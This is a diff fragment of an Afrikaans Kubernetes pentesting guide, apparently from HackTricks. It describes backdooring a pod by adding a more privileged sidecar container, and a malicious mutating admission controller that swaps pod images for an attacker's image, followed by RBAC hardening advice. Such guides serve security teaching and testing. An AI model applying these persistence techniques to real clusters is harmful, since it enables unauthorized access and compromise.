-#metadata: -# name: security-context-demo -#spec: -# securityContext: -# runAsUser: 1000 -# runAsGroup: 3000 -# fsGroup: 2000 -# volumes: -# - name: sec-ctx-vol -# emptyDir: {} -# containers: -# - name: sec-ctx-demo -# image: busybox -command: -[ -"sh", -"-c", -"apt update && apt install iptables -y && iptables -L && sleep 1h", -] -securityContext: -capabilities: -add: ["NET_ADMIN"] -# volumeMounts: -# - name: sec-ctx-vol -# mountPath: /data/demo -# securityContext: -# allowPrivilegeEscalation: true -``` -Sien die logs van die proxy: -```bash -kubectl logs app -C proxy +spec: +containers: +- name: main-application +image: nginx +- name: sidecar-container +image: busybox +command: ["sh","-c",""] ``` +Byvoorbeeld, om 'n bestaande pod met 'n nuwe container te backdoor, kan jy eenvoudig 'n nuwe container in die spesifikasie voeg. Let daarop dat jy **meer toestemmings** aan die tweede container kan gee wat die eerste nie sal hê nie. + Meer inligting by: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) ### Kwaadwillige Toelatingsbeheerder 'n Toelatingsbeheerder **onderbreek versoeke na die Kubernetes API-bediener** voordat die volharding van die objek, maar **nadat die versoek geverifieer** **en gemagtig** is. -As 'n aanvaller op een of ander manier daarin slaag om 'n **Mutasie Toelatingsbeheerder** te **injekseer**, sal hy in staat wees om **reeds geverifieerde versoeke te wysig**. Dit kan potensieel lei tot privesc, en meer gewoonlik om in die kluster te bly. +As 'n aanvaller op een of ander manier daarin slaag om 'n **Mutasie Toelatingsbeheerder** te **injekteer**, sal hy in staat wees om **reeds geverifieerde versoeke te wysig**. Dit kan potensieel privesc moontlik maak, en meer gewoonlik in die kluster volhard. **Voorbeeld van** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -646,7 +664,7 @@ kubectl describe po nginx | grep "Image: " Soos wat jy in die bogenoemde beeld kan sien, het ons probeer om die beeld `nginx` te laat loop, maar die finale uitgevoerde beeld is `rewanthtammana/malicious-image`. Wat het net gebeur!!? -#### Tegniese Aspek +#### Tegniese Aspekte Die `./deploy.sh` skrip stel 'n muterende webhook toelatingsbeheerder in, wat versoeke na die Kubernetes API wysig soos gespesifiseer in sy konfigurasielyne, wat die waargenome uitkomste beïnvloed: ``` @@ -673,7 +691,7 @@ Die bogenoemde snit vervang die eerste houerbeeld in elke pod met `rewanthtamman ### **Beperkte Gebruikerstoewysing in RoleBindings/ClusterRoleBindings** -- **Selektiewe Insluiting**: Verseker dat slegs nodige gebruikers ingesluit word in RoleBindings of ClusterRoleBindings. Oudit gereeld en verwyder onbelangrike gebruikers om strenger sekuriteit te handhaaf. +- **Selektiewe Insluiting**: Verseker dat slegs nodige gebruikers ingesluit word in RoleBindings of ClusterRoleBindings. Oudit gereeld en verwyder irrelevante gebruikers om strenger sekuriteit te handhaaf. ### **Namespace-Spesifieke Rolle Bo Cluster-Wye Rolle** @@ -698,5 +716,7 @@ https://github.com/aquasecurity/kube-bench - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) +- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) +- [**https://kubenomicon.com/**](https://kubenomicon.com/) {{#include ../../../banners/hacktricks-training.md}}